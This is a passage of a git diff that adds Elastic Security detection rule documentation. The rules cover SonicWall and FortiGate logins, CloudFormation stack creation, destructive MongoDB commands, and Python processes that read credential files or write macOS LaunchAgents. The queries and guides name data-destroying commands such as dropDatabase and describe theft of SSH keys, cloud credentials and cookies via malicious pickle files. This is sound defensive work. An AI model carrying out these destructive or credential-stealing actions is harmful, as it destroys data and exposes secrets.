collector boundary and isolate its management + plane as appropriate. +- Preserve flow records, source alerts, configuration history, authentication events, and network evidence. +- Remove unauthorized export configuration, restore trusted device configuration, rotate affected credentials, and + review collector ACLs and authentication. + + +==== Setup + + + +*Setup* + + +Enable the building-block rule "First Seen Network Flow Exporter" and detection rules that can identify suspicious +activity with `source.ip` populated. The building-block rule requires decoded NetFlow, IPFIX, or sFlow records from the +Elastic NetFlow (`netflow.log`) or GoFlow2 (`goflow2.sflow`) integration. + +The higher-order rule searches Elastic Security alert indices. The correlated source alert must preserve the exporter +address in `source.ip` and preserve `data_stream.namespace`; alerts without either field cannot contribute to this +correlation. Building-block, higher-order, machine-learning, new-terms, threat-match, and deprecated-rule alerts are +excluded as the second event. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM .alerts-security.* +| WHERE event.kind == "signal" + AND data_stream.namespace IS NOT NULL + AND ( + (kibana.alert.rule.rule_id == "dfe3f626-4224-417e-aff1-8ef9a72c3191" AND observer.ip IS NOT NULL) + OR + (source.ip IS NOT NULL + AND kibana.alert.rule.name IS NOT NULL + AND kibana.alert.rule.rule_id IS NOT NULL + AND kibana.alert.rule.rule_id != "dfe3f626-4224-417e-aff1-8ef9a72c3191" + AND (kibana.alert.risk_score >= 47 OR kibana.alert.severity IN ("medium", "high", "critical")) + AND KQL("""NOT kibana.alert.building_block_type : *""") + AND NOT kibana.alert.rule.type IN ("machine_learning", "new_terms", "threat_match") + AND NOT kibana.alert.rule.name LIKE "Deprecated - *" + AND NOT KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """)) + ) +| EVAL + Esql.is_exporter_alert = kibana.alert.rule.rule_id == "dfe3f626-4224-417e-aff1-8ef9a72c3191", + Esql.is_suspicious_source_alert = kibana.alert.rule.rule_id != "dfe3f626-4224-417e-aff1-8ef9a72c3191", + Esql.correlation_ip = CASE(Esql.is_exporter_alert, observer.ip, source.ip), + Esql.exporter_alert_timestamp = CASE(Esql.is_exporter_alert, @timestamp, null), + Esql.suspicious_source_alert_timestamp = CASE(Esql.is_suspicious_source_alert, @timestamp, null), + Esql.suspicious_rule_name = CASE(Esql.is_suspicious_source_alert, kibana.alert.rule.name, null), + Esql.suspicious_rule_id = CASE(Esql.is_suspicious_source_alert, kibana.alert.rule.rule_id, null) +| WHERE Esql.correlation_ip IS NOT NULL +| STATS + Esql.exporter_alert_count = SUM(CASE(Esql.is_exporter_alert, 1, 0)), + Esql.suspicious_source_alert_count = SUM(CASE(Esql.is_suspicious_source_alert, 1, 0)), + observer.ip = MAX(CASE(Esql.is_exporter_alert, Esql.correlation_ip, null)), + source.ip = MAX(CASE(Esql.is_suspicious_source_alert, Esql.correlation_ip, null)), + Esql.exporter_alert_timestamp = MIN(Esql.exporter_alert_timestamp), + Esql.suspicious_source_alert_timestamp = MAX(Esql.suspicious_source_alert_timestamp), + Esql.suspicious_rule_name_values = VALUES(Esql.suspicious_rule_name), + Esql.suspicious_rule_id_values = VALUES(Esql.suspicious_rule_id) + BY data_stream.namespace, Esql.correlation_ip +| EVAL Esql.time_diff_seconds = DATE_DIFF( + "second", Esql.exporter_alert_timestamp, Esql.suspicious_source_alert_timestamp + ) +| WHERE Esql.exporter_alert_count > 0 + AND Esql.suspicious_source_alert_count > 0 + AND Esql.time_diff_seconds >= 0 + AND Esql.time_diff_seconds <= 1800 +| KEEP + data_stream.namespace, + observer.ip, + source.ip, + Esql.correlation_ip, + Esql.exporter_alert_count, + Esql.suspicious_source_alert_count, + Esql.exporter_alert_timestamp, + Esql.suspicious_source_alert_timestamp, + Esql.suspicious_rule_name_values, + Esql.suspicious_rule_id_values, + Esql.time_diff_seconds + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-seen-sonicwall-remote-access-login-by-user-and-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-seen-sonicwall-remote-access-login-by-user-and-source.asciidoc new file mode 100644 index 0000000000..3a6bd48263 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-seen-sonicwall-remote-access-login-by-user-and-source.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-first-seen-sonicwall-remote-access-login-by-user-and-source]] +=== First Seen SonicWall Remote Access Login by User and Source + +Identifies a successful SonicWall VPN- or WAN-zone administrator or remote-user login from a source IP that was not previously observed with the same user on the same appliance during the prior 14 days. This may indicate stolen credentials, compromised administrator access, or unauthorized remote access. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-sonicwall_firewall.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/sonicwall_firewall +* https://www.sonicwall.com/support/knowledge-base/monitoring-sslvpn-user-logins/kA1VN0000000JQz0AM +* https://www.huntress.com/blog/sonicwall-credential-stuffing-campaign + +*Tags*: + +* Domain: Network +* Domain: Identity +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Data Source: SonicWall +* Data Source: SonicWall Firewall Logs +* Rule Type: New Terms +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Seen SonicWall Remote Access Login by User and Source* + + +This rule detects a newly observed combination of SonicWall appliance serial number, user name, and source IP for a +successful VPN- or WAN-zone login. Event IDs `235` and `236` are administrator logins from VPN and WAN zones, `237` and +`238` are remote-user logins from VPN and WAN zones, and `1080` is a successful SSL VPN user login. + + +*Possible investigation steps* + + +- Confirm the user, source IP, appliance, login type, VPN policy, MFA result, and assigned tunnel address. +- Review the source geolocation, reputation, and prior authentication activity. +- Correlate with failed logins, configuration changes, internal reconnaissance, and endpoint activity. +- Prefer exceptions scoped to the appliance, user, and expected source rather than globally excluding an identity. + + +*False positive analysis* + + +- Validate new users, travel, ISP address changes, managed service provider activity, and integration onboarding before + treating the alert as unauthorized access. + + +*Response and remediation* + + +- If unauthorized access is suspected, terminate active sessions, disable the affected account, rotate credentials and + tokens, verify MFA, and review downstream activity from the assigned tunnel address. +- Preserve SonicWall authentication, VPN session, and configuration audit logs before making broad changes. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic SonicWall Firewall integration and SonicWall Enhanced Syslog authentication events. +Configure the appliance to forward **Users > Authentication Access** events, including event IDs `235`, `236`, `237`, +`238`, and `1080`. Verify that the integration populates `data_stream.dataset`, `event.action`, `event.code`, +`source.ip`, `user.name`, and `observer.serial_number`. + +The new-terms key requires `observer.serial_number`. Events without that field do not match. Ensure serial numbers are +stable and unique across tenants in a shared Kibana space. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"sonicwall_firewall.log" and + event.action:"login-success" and + event.code:("235" or "236" or "237" or "238" or "1080") and + source.ip:* and user.name:* and observer.serial_number:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-aws-cloudformation-stack-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-aws-cloudformation-stack-creation.asciidoc new file mode 100644 index 0000000000..a2938fcefd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-aws-cloudformation-stack-creation.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-first-time-aws-cloudformation-stack-creation]] +=== First Time AWS CloudFormation Stack Creation + +This rule detects the first time a principal calls AWS CloudFormation CreateStack, CreateStackSet or CreateStackInstances API. CloudFormation is used to create a collection of cloud resources called a stack, via a defined template file. An attacker with the appropriate privileges could leverage CloudFormation to create specific resources needed to further exploit the environment. This is a new terms rule that looks for the first instance of this behavior for a role or IAM user within a particular account. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-concepts.html +* https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_CreateStack.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS CloudFormation +* Tactic: Execution +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time AWS CloudFormation Stack Creation* + + +AWS CloudFormation automates the setup of cloud resources using templates, streamlining infrastructure management. Adversaries with access can exploit this to deploy malicious resources, escalating their control. The detection rule identifies unusual activity by flagging the initial use of stack creation APIs by a user or role, helping to spot potential unauthorized actions early. + + +*Possible investigation steps* + + +- Review `aws.cloudtrail.user_identity.arn` to identify the user or role that initiated the `CreateStack` or `CreateStackInstances` action. +- Verify the IAM permissions of the user or role involved in the event to ensure they have the appropriate level of access and determine if the action aligns with their typical responsibilities. +- Examine the stack template used to identify any unusual or unauthorized resources being provisioned. +- Investigate any related resources that were deployed as part of the stack. +- Correlate the timing of the stack creation with other logs or alerts to identify any suspicious activity or patterns that might indicate malicious intent. +- Investigate the account's recent activity history to determine if there have been any other first-time or unusual actions by the same user or role. + + +*False positive analysis* + + +- Routine infrastructure updates by authorized users may trigger the rule. To manage this, maintain a list of users or roles that regularly perform these updates and create exceptions for them. +- Automated deployment tools or scripts that use CloudFormation for legitimate purposes can cause false positives. Identify these tools and exclude their associated IAM roles or users from the rule. +- New team members or roles onboarding into cloud management tasks might be flagged. Implement a process to review and whitelist these users after verifying their activities. +- Scheduled or periodic stack creations for testing or development environments can be mistaken for suspicious activity. Document these schedules and exclude the relevant users or roles from the rule. +- Third-party services or integrations that require stack creation permissions could be misidentified. Ensure these services are documented and their actions are excluded from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the IAM user or role that initiated the stack creation to prevent further unauthorized actions. This can be done by revoking permissions with a https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[DenyAll] permissions policy or disabling the account temporarily. +- Review the created stack for any unauthorized or suspicious resources. Identify and terminate any resources that are not part of the expected infrastructure. +- Conduct a thorough audit of recent IAM activity to identify any other unusual or unauthorized actions that may indicate further compromise. +- If malicious activity is confirmed, escalate the incident to the security operations team for a full investigation and potential involvement of incident response teams. +- Implement additional monitoring and alerting for the affected account to detect any further unauthorized attempts to use CloudFormation or other critical AWS services. +- Review and tighten IAM policies and permissions to ensure that only necessary privileges are granted, reducing the risk of exploitation by adversaries. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:cloudformation.amazonaws.com and + event.action: (CreateStack or CreateStackInstances) + and event.outcome:success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-destructive-mongodb-command-from-a-client-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-destructive-mongodb-command-from-a-client-ip.asciidoc new file mode 100644 index 0000000000..55cdc97798 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-destructive-mongodb-command-from-a-client-ip.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-first-time-destructive-mongodb-command-from-a-client-ip]] +=== First-Time Destructive MongoDB Command from a Client IP + +Identifies the first client IP observed issuing MongoDB commands that can drop databases, collections, indexes, users, or roles within a five-day history window. Adversaries with access to an exposed or compromised MongoDB service may use these commands to destroy data, disrupt applications, or prepare a wipe-and-extort attack. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-network_traffic.mongodb-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/mongo-lock-attack-ransoming-deleted-mongodb-databases/ +* https://flare.io/learn/resources/blog/mongodb-ransom +* https://attack.mitre.org/techniques/T1485/ + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: New Terms + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First-Time Destructive MongoDB Command from a Client IP* + + +MongoDB wipe-and-extort campaigns commonly enumerate databases before dropping databases or collections and inserting a ransom note. This rule detects the first client IP observed issuing decoded MongoDB commands capable of destructive schema, data, identity, or access changes within a five-day history window. + + +*Possible investigation steps* + + +- Review `client.ip`, `server.ip`, `network.community_id`, `network_traffic.mongodb.method`, `network_traffic.mongodb.query`, `network_traffic.mongodb.resource`, and `network_traffic.mongodb.fullCollectionName`. +- Determine whether the client is an approved application, DBA workstation, migration host, or automation service. +- Search earlier events on the same `network.community_id` for `listDatabases`, `listCollections`, `usersInfo`, or `rolesInfo`, which may indicate reconnaissance before destruction. +- Search subsequent activity for database or collection creation and ransom-related strings such as `README`, `RECOVER`, `bitcoin`, or `meow`. +- Confirm the operation and affected resources in MongoDB audit logs and assess whether data was deleted. + + +*False positive analysis* + + +- Schema migrations and test cleanup can legitimately drop collections or indexes. +- Authorized identity lifecycle operations can drop users or roles. +- Scope exceptions to approved clients and maintenance windows rather than excluding command names globally. + + +*Response and remediation* + + +- Block the client and isolate the MongoDB service if the activity is unauthorized. +- Preserve MongoDB audit logs and packet evidence, identify affected databases, and begin recovery from immutable backups. +- Rotate database credentials, remove unauthorized users or roles, and restrict MongoDB network access to approved application and administration hosts. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Network Packet Capture integration with the MongoDB protocol analyzer enabled and +cleartext visibility into MongoDB transactions. TLS-encrypted or compressed MongoDB wire traffic may not expose +`network_traffic.mongodb.query`. Modern OP_MSG traffic often reports `network_traffic.mongodb.method` as `msg`, so the +query-text branch is required. Use MongoDB audit logs for authoritative user attribution and operation outcomes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:network_traffic.mongodb and +( + network_traffic.mongodb.method:( + "dropDatabase" or "drop" or "dropIndexes" or + "dropAllUsersFromDatabase" or "dropAllRolesFromDatabase" + ) or + ( + network_traffic.mongodb.method:"msg" and + network_traffic.mongodb.query:( + *dropDatabase* or *dropIndexes* or + *dropAllUsersFromDatabase* or *dropAllRolesFromDatabase* or + *\"drop\"* + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-fortigate-administrator-login.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-fortigate-administrator-login.asciidoc new file mode 100644 index 0000000000..212f133e25 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-fortigate-administrator-login.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-first-time-fortigate-administrator-login]] +=== First-Time FortiGate Administrator Login + +This rule detects the first observed successful login of a user with the Administrator role to the FortiGate management interface within the last 5 days. First-time administrator logins can indicate newly provisioned accounts, misconfigurations, or unauthorized access using valid credentials and should be reviewed promptly. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating First-Time FortiGate Administrator Login* + + +This alert indicates that a user with the **Administrator** role has successfully logged in to the FortiGate management interface for the first time within the last 5 days of observed data. + +Because administrator access provides full control over network security devices, any newly observed admin login should be validated to confirm it is expected and authorized. + + +*Investigation Steps* + + +- **Identify the account** + - Review `source.user.name` and confirm whether the account is known and officially provisioned. + - Determine whether this is a newly created administrator or an existing account logging in for the first time. + +- **Validate the source** + - Review `source.ip` and confirm whether it originates from a trusted management network, VPN, or jump host. + - Investigate geolocation or ASN if the source IP is external or unusual. + +- **Review login context** + - Examine associated FortiGate log messages for details such as login method, interface, or authentication source. + - Check for additional administrative actions following the login (policy changes, user creation, configuration exports). + - Review `fortinet.firewall.profile` to identify the FortiGate Admin Profile the identity logged in under. + +- **Correlate with recent changes** + - Verify whether there were recent change requests, onboarding activities, or maintenance windows that explain the login. + - Look for other authentication attempts (failed or successful) from the same source or user. + + +*False Positive Considerations* + + +- Newly onboarded administrators or service accounts. +- First-time logins after log retention changes or data source onboarding. +- Automation, backup, or monitoring tools introduced recently. +- Lab, development, or test FortiGate devices. + + +*Response and Remediation* + + +- **If authorized** + - Document the activity and consider adding an exception if the behavior is expected. + - Ensure the account follows least-privilege and MFA best practices. + +- **If suspicious or unauthorized** + - Disable or restrict the administrator account immediately. + - Rotate credentials and review authentication sources. + - Audit recent FortiGate configuration changes. + - Review surrounding network activity for lateral movement or persistence attempts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-fortinet_fortigate.*, filebeat-* metadata _id + +| WHERE data_stream.dataset == "fortinet_fortigate.log" and + event.category == "authentication" and event.action == "login" and + event.outcome == "success" and source.user.roles == "Administrator" and source.user.name is not null +| stats Esql.logon_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.source_ip_values = VALUES(source.ip), + Esql.message_values = VALUES(message) by source.user.name, fortinet.firewall.profile + +// first time seen is within 6m of the rule execution time and for the last 5d of events history +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| where Esql.recent <= 6 and Esql.logon_count == 1 + +// move dynamic fields to ECS equivalent for rule exceptions +| eval source.ip = MV_FIRST(Esql.source_ip_values) + +| keep source.ip, + source.user.name, + fortinet.firewall.profile, + Esql.logon_count, + Esql.first_time_seen, + Esql.source_ip_values, + Esql.message_values, + Esql.recent + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-accessed-sensitive-credential-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-accessed-sensitive-credential-files.asciidoc new file mode 100644 index 0000000000..02e9865e01 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-accessed-sensitive-credential-files.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-first-time-python-accessed-sensitive-credential-files]] +=== First Time Python Accessed Sensitive Credential Files + +Detects the first time a Python process accesses sensitive credential files on a given host. This behavior may indicate post-exploitation credential theft via a malicious Python script, compromised dependency, or malicious model file deserialization. Legitimate Python processes do not typically access credential files such as SSH keys, AWS credentials, browser cookies, Kerberos tickets, or keychain databases, so a first occurrence is a strong indicator of compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Accessed Sensitive Credential Files* + + +Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — often target sensitive credential files such as SSH keys, cloud provider credentials, browser session cookies, and macOS keychain data. Since legitimate Python processes do not typically access these files, a first occurrence from a Python process is highly suspicious. + +This rule leverages the Elastic Defend sensitive file `open` event, which is only collected for known sensitive file paths, combined with the New Terms rule type to alert on the first time a specific credential file is accessed by Python on a given host within a 7-day window. + + +*Possible investigation steps* + + +- Examine the Python process command line and arguments to identify the script or command that triggered the file access. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Review the specific credential file that was accessed and assess the potential impact (SSH keys enable lateral movement, AWS credentials enable cloud access, browser cookies enable session hijacking). +- Check for outbound network connections from the same process tree that may indicate credential exfiltration. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Look for file creation events in `/tmp/` or other staging directories that may contain copies of the stolen credentials. + + +*False positive analysis* + + +- Python-based secret management tools (e.g., `aws-cli`, `gcloud`) legitimately access credential files. Consider excluding known trusted executables by process path. +- SSH automation scripts using `paramiko` or `fabric` may read SSH keys. Evaluate whether the access pattern matches known automation workflows. +- Security scanning tools running Python may enumerate credential files as part of their assessment. + + +*Response and remediation* + + +- Immediately rotate any credentials that were potentially accessed (SSH keys, AWS access keys, cloud tokens). +- Quarantine the Python process and investigate the source script, package, or model file that triggered the access. +- If a malicious file is confirmed, identify all hosts where it may have been distributed. +- Review outbound network connections from the host around the time of the credential access to check for exfiltration. +- Consider implementing `weights_only=True` enforcement for PyTorch model loading across the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:macos and event.action:open and +process.name:python* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Ccache Files +** ID: T1558.005 +** Reference URL: https://attack.mitre.org/techniques/T1558/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc new file mode 100644 index 0000000000..3dba55b781 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-first-time-python-created-a-launchagent-or-launchdaemon]] +=== First Time Python Created a LaunchAgent or LaunchDaemon + +Detects the first time a Python process creates or modifies a LaunchAgent or LaunchDaemon plist file on a given host. Malicious Python scripts, compromised dependencies, or model file deserialization can establish persistence on macOS by writing plist files to LaunchAgent or LaunchDaemon directories. Legitimate Python processes do not typically create persistence mechanisms, so a first occurrence is a strong indicator of compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Created a LaunchAgent or LaunchDaemon* + + +macOS LaunchAgents and LaunchDaemons are plist files that configure programs to run automatically at login or boot. Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — can drop plist files to establish persistence on the compromised host. This ensures their payload survives reboots and user logouts. + +This rule uses the Elastic Defend persistence event type (`event.action:"launch_daemon"`), which captures plist metadata including the program arguments, run-at-load configuration, and keep-alive settings. The New Terms rule type alerts on the first time a Python process creates a LaunchAgent or LaunchDaemon on a given host within a 7-day window. + + +*Possible investigation steps* + + +- Review the persistence event fields (`Persistence.runatload`, `Persistence.keepalive`, `Persistence.args`, `Persistence.path`) to understand the plist configuration. +- Examine the program path and arguments specified in the plist to determine if they reference a known legitimate application or a suspicious binary. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Verify if the target binary referenced in the plist exists on disk and whether it is signed or trusted. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Check for other persistence mechanisms that may have been established around the same time. + + +*False positive analysis* + + +- Some Python-based system management tools (e.g., Ansible, SaltStack) may legitimately create LaunchAgent or LaunchDaemon plist files. Evaluate whether the activity matches a known automation workflow. +- Python-based application installers may create plist files during setup. Check if the activity correlates with a known software installation. + + +*Response and remediation* + + +- Immediately unload the suspicious LaunchAgent or LaunchDaemon using `launchctl unload` with the plist path. +- Remove the suspicious plist file and any associated binary it references. +- Kill any processes launched by the plist file. +- Investigate and quarantine the Python script, package, or model file that created the persistence mechanism. +- Scan the host for additional indicators of compromise. +- If a malicious file is confirmed, identify all hosts where it may have been distributed. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:macos and event.action:"launch_daemon" and +process.name:python* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-spawned-a-shell-on-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-spawned-a-shell-on-host.asciidoc new file mode 100644 index 0000000000..b2437d466f --- /dev/null +++ 